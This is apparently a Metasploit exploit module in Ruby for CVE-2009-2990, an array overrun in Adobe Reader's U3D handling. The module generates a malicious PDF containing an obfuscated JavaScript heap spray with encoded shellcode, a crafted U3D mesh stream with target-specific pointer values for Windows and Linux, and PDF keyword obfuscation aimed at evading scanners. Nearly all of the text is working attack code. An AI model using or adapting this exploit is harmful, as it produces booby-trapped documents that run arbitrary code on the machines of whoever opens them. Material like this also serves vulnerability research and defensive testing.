Adobe U3D CLODProgressiveMeshDeclaration Array Overrun

`###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
require 'zlib'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',  
'Description' => %q{  
This module exploits an array overflow in Adobe Reader and Adobe Acrobat.  
Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a   
specially crafted pdf that a contains malformed U3D data, an attacker may   
be able to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',  
'jduck'  
],  
'Version' => '$Revision: 7771 $',  
'References' =>  
[  
[ 'CVE', '2009-2990' ],  
[ 'OSVDB', '58920' ],  
[ 'BID', '36665' ],  
[ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],  
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'DisableNops' => true  
},  
'Targets' =>  
[  
# test results (on Windows XP SP3)  
# reader 7.0.5 - untested  
# reader 7.0.8 - untested  
# reader 7.0.9 - untested  
# reader 7.1.0 - untested  
# reader 7.1.1 - untested  
# reader 8.0.0 - untested  
# reader 8.1.2 - works  
# reader 8.1.3 - works  
# reader 8.1.4 - untested  
# reader 8.1.5 - untested  
# reader 8.1.6 - untested  
# reader 9.0.0 - untested  
# reader 9.1.0 - works  
[ 'Adobe Reader Windows Universal (JS Heap Spray)',  
{  
'Index' => 0x01d10000,  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'escA' => 0x0f0f0f0f,  
'escB' => 0x16161616,  
'escC' => 0x1c1c1c1c  
}  
],  
  
# untested  
[ 'Adobe Reader Linux Universal (JS Heap Spray)',  
{  
'Index' => 0xfffffe3c,  
'Platform' => 'linux',  
'Arch' => ARCH_X86,  
'escA' => 0x75797959,  
'escB' => 0xa2a2a2a2,  
'escC' => 0x9c9c9c9c  
}  
]  
],  
'DisclosureDate' => 'Oct 13 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),  
], self.class)  
  
end  
  
  
  
def exploit   
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Make some nops  
nops = Rex::Text.to_unescape(make_nops(4))  
  
# prepare the pointers!  
ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))  
ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))  
ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))  
  
script = %Q|  
var nopz = unescape("#{nops}");  
  
function mkSlice(stringy,size,rest){  
while (stringy.length <= size/2)   
stringy += stringy;  
stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);  
return stringy;  
};  
  
function spray(escA,escB,escC,escShellcode){  
var loop1;  
var pointersA = unescape(escA);  
var pointersB = unescape(escB);  
var pointersC = unescape(escC);  
var shellcode = unescape(escShellcode);  
  
pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);  
pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);  
pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);  
nop_slide = mkSlice(nopz,0x100000, shellcode.length);  
var xarr = new Array();   
for (loop1 = 0; loop1 < 400; loop1++) {   
if(loop1<100)  
xarr[loop1] = pointersA_slide+pointersA;  
else if(loop1<200)  
xarr[loop1] = pointersB_slide+pointersB;  
else if(loop1<300)  
xarr[loop1] = pointersC_slide+pointersC;  
else  
xarr[loop1] = nop_slide+shellcode;  
}  
return xarr;  
};  
var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");  
this.pageNum = 1;  
|  
  
# Obfuscate it up a bit  
script = obfuscate_js(script,  
'Symbols' => {  
'Variables' => %W{ pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz },  
'Methods' => %W{ mkSlice spray }  
}).to_s  
  
# create the u3d stuff  
u3d = make_u3d_stream(target['Index'], "E" * 11)  
  
# Create the pdf  
pdf = make_pdf(script, u3d)  
  
print_status("Creating '#{datastore['FILENAME']}' file...")   
  
file_create(pdf)  
end  
  
  
def obfuscate_js(javascript, opts)  
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)  
js.obfuscate  
return js  
end  
  
  
def RandomNonASCIIString(count)  
result = ""  
count.times do  
result << (rand(128) + 128).chr  
end  
result  
end  
  
def ioDef(id)  
"%d 0 obj\n" % id  
end  
  
def ioRef(id)  
"%d 0 R" % id  
end  
  
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/  
def nObfu(str)  
  
result = ""  
str.scan(/./u) do |c|  
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'  
result << "#%x" % c.unpack("C*")[0]  
else  
result << c  
end  
end  
result  
end  
  
def ASCIIHexWhitespaceEncode(str)  
result = ""  
whitespace = ""  
str.each_byte do |b|  
result << whitespace << "%02x" % b  
whitespace = " " * (rand(3) + 1)  
end  
result << ">"  
end  
  
  
def u3d_pad(str, char="\x00")  
ret = ""  
if (str.length % 4) > 0  
ret << char * (4 - (str.length % 4))  
end  
return ret  
end  
  
  
def make_u3d_stream(index, meshname)  
  
# build the U3D header (length will be patched in later)  
hdr_data = [1,0].pack('n*') # version info  
hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')  
hdr = "U3D\x00"  
hdr << [hdr_data.length,0].pack('VV')  
hdr << hdr_data  
  
# mesh declaration  
decl_data = [meshname.length].pack('v')  
decl_data << meshname  
decl_data << [0].pack('V') # chain idx  
# max mesh desc  
decl_data << [0].pack('V') # mesh attrs  
decl_data << [0xc322].pack('V') # face count  
decl_data << [0x6226].pack('V') # position count  
decl_data << [0x24966].pack('V') # normal count  
decl_data << [0].pack('V') # diffuse color count  
decl_data << [0].pack('V') # specular color count  
decl_data << [0].pack('V') # texture coord count  
decl_data << [1].pack('V') # shading count  
# shading desc  
decl_data << [0].pack('V') # shading attr  
decl_data << [1].pack('V') # texture layer count  
decl_data << [0].pack('V') # texture coord dimensions  
decl_data << [0].pack('V') # original shading id  
# minimum resolution  
decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum)  
# quality factors  
decl_data << [0x12c].pack('V') # position quality factor  
decl_data << [0x12c].pack('V') # normal quality factor  
decl_data << [0x12c].pack('V') # texture coord quality factor  
# inverse quantiziation  
decl_data << [0x3f0b1e6c].pack('V') # position inverse quant  
decl_data << [0x3b6f05a6].pack('V') # normal inverse quant  
decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant  
decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant  
decl_data << [0x3c2df54a].pack('V') # specular color inverse quant  
# resource params  
decl_data << [0x3f666666].pack('V') # normal crease param  
decl_data << [0x3f000000].pack('V') # normal update param  
decl_data << [0x3f7c28f6].pack('V') # normal tolerance param  
# skeleton description  
decl_data << [0].pack('V') # bone count  
# padding  
mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')  
mesh_decl << decl_data  
mesh_decl << u3d_pad(decl_data)  
  
# build the modifier chain  
chain_data = [meshname.length].pack('v')  
chain_data << meshname  
chain_data << [1].pack('V') # type (model resource)  
chain_data << [0].pack('V') # attributes (no bounding info)  
chain_data << u3d_pad(chain_data)  
chain_data << [1].pack('V') # number of modifiers  
chain_data << mesh_decl  
modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')  
modifier_chain << chain_data  
  
# mesh continuation  
cont_data = [meshname.length].pack('v')  
cont_data << meshname  
cont_data << [0].pack('V') # chain idx  
cont_data << [0].pack('V') # start resolution  
cont_data << [0x1000].pack('V') # end resolution  
# 4096 continuation blocks  
cont_data << [index].pack('V') # split position index  
cont_data << [0].pack('v') # new diffuse color count  
cont_data << [0].pack('v') # new specular color count  
cont_data << [0].pack('v') # new text coord count  
cont_data << [0].pack('V') # new face count  
# unknown data  
cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76"  
cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f"  
cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00"  
cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44"  
cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00"  
cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8"  
cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20"  
cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d"  
cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00"  
cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53"  
cont_data << "\xe9\x10\x9d\x6b\x06\x00"  
cont_data << "\x50" # pad  
mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')  
mesh_cont << cont_data  
#mesh_cont << u3d_pad(cont_data)  
mesh_cont << "\xa2\x00" # manual padding  
  
data = hdr  
data << modifier_chain  
data << mesh_cont  
  
# patch the length  
data[24,4] = [0x2b680].pack('V') # hardcode the data length  
  
if index == 0x01d10000  
#laziest hack ever! Another index must be found for using the following  
# stream in windows.. and a lot of tests shoul be done.  
return data  
end  
  
  
# linux version  
# build the U3D header (length will be patched in later)  
hdr_data = [1,0].pack('n*') # version info  
hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')  
meta_str1 = "alalala0"  
meta_str2 = "\xa8" * 1024  
hdr_meta = [1].pack('V')  
hdr_meta << [meta_str1.length].pack('v')  
hdr_meta << meta_str1  
hdr_meta << [1].pack('V')  
hdr_meta << [meta_str2.length].pack('V')  
hdr_meta << meta_str2  
hdr = "U3D\x00"  
hdr << [hdr_data.length,hdr_meta.length].pack('VV')  
hdr << hdr_data  
hdr << hdr_meta  
hdr << u3d_pad(hdr_meta)  
  
# mesh declaration  
decl_data = [meshname.length].pack('v')  
decl_data << meshname  
decl_data << [0].pack('V') # chain idx  
# max mesh desc  
decl_data << [0].pack('V') # mesh attrs  
decl_data << [0xc322].pack('V') # face count  
decl_data << [0x6626].pack('V') # position count  
decl_data << [4].pack('V') # normal count  
decl_data << [0].pack('V') # diffuse color count  
decl_data << [0].pack('V') # specular color count  
decl_data << [0].pack('V') # texture coord count  
decl_data << [1].pack('V') # shading count  
# shading desc  
decl_data << [0].pack('V') # shading attr  
decl_data << [0].pack('V') # texture layer count  
decl_data << [0].pack('V') # original shading id  
# no texture coord dimensions  
decl_data << [0x64].pack('V') # minimum resolution  
decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum)  
# quality factors  
decl_data << [0x12c].pack('V') # position quality factor  
decl_data << [0x12c].pack('V') # normal quality factor  
decl_data << [0x12c].pack('V') # texture coord quality factor  
# inverse quantiziation  
decl_data << [0].pack('V') # position inverse quant  
decl_data << [0].pack('V') # normal inverse quant  
decl_data << [0].pack('V') # texture coord inverse quant  
decl_data << [0].pack('V') # diffuse color inverse quant  
decl_data << [0].pack('V') # specular color inverse quant  
# resource params  
decl_data << [0].pack('V') # normal crease param  
decl_data << [0].pack('V') # normal update param  
decl_data << [0].pack('V') # normal tolerance param  
# skeleton description  
decl_data << [0].pack('V') # bone count  
# padding  
mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')  
mesh_decl << decl_data  
mesh_decl << u3d_pad(decl_data)  
  
# build the modifier chain  
chain_data = [meshname.length].pack('v')  
chain_data << meshname  
chain_data << [1].pack('V') # type (model resource)  
chain_data << [0].pack('V') # attributes (no bounding info)  
chain_data << u3d_pad(chain_data)  
chain_data << [1].pack('V') # number of modifiers  
chain_data << mesh_decl  
modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')  
modifier_chain << chain_data  
  
# mesh continuation  
cont_data = [meshname.length].pack('v')  
cont_data << meshname  
cont_data << [0].pack('V') # chain idx  
cont_data << [0].pack('V') # start resolution  
cont_data << [0x100].pack('V') # end resolution  
# 256 continuation blocks  
cont_data << [index].pack('V') # split position index  
# unknown data  
cont_data << [1].pack('V') * 10  
cont_data << "Feli" * 20  
mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')  
mesh_cont << cont_data  
mesh_cont << u3d_pad(cont_data)  
  
data = hdr  
data << modifier_chain  
data << mesh_cont  
  
# patch the length  
data[24,4] = [0x174].pack('V') # hardcode the data length  
return data  
  
end  
  
def make_pdf(js, u3d_stream)  
  
xref = []  
eol = "\x0a"  
obj_end = "" << eol << "endobj" << eol  
  
# the header  
pdf = "%PDF-1.7" << eol  
  
# filename/comment  
pdf << "%" << RandomNonASCIIString(4) << eol  
  
# js stream  
xref << pdf.length  
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))  
pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol  
pdf << "stream" << eol  
pdf << compressed << eol  
pdf << "endstream" << eol  
pdf << obj_end  
  
# catalog  
xref << pdf.length  
pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)   
pdf << nObfu("/Pages ") << ioRef(5)  
pdf << nObfu("/OpenAction ") << ioRef(8)  
pdf << nObfu(">>")  
pdf << obj_end  
  
# outline  
xref << pdf.length  
pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")  
pdf << obj_end  
  
# kids  
xref << pdf.length  
pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")  
pdf << ioRef(9) << " " # empty page  
pdf << ioRef(10) # u3d page  
pdf << nObfu("]>>")  
pdf << obj_end  
  
# u3d stream  
xref << pdf.length  
pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol  
pdf << "stream" << eol  
pdf << u3d_stream << eol  
pdf << "endstream"  
pdf << obj_end  
  
# u3d annotation object  
xref << pdf.length  
pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")  
pdf << "/3D/3DA <</A/PO/DIS/I>>"  
pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")  
pdf << obj_end  
  
# js dict  
xref << pdf.length  
pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end  
  
# page 0 (empty)  
xref << pdf.length  
pdf << ioDef(9) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")  
pdf << nObfu(" >>")  
pdf << obj_end  
  
# page 1 (u3d)  
xref << pdf.length  
pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")  
pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")  
pdf << nObfu(">>")  
pdf << obj_end  
  
# xrefs  
xrefPosition = pdf.length  
pdf << "xref" << eol  
pdf << "0 %d" % (xref.length + 1) << eol  
pdf << "0000000000 65535 f" << eol  
xref.each do |index|  
pdf << "%010d 00000 n" % index << eol  
end  
  
# trailer  
pdf << "trailer" << eol  
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol  
pdf << "startxref" << eol  
pdf << xrefPosition.to_s() << eol  
pdf << "%%EOF" << eol  
  
end  
  
end  
`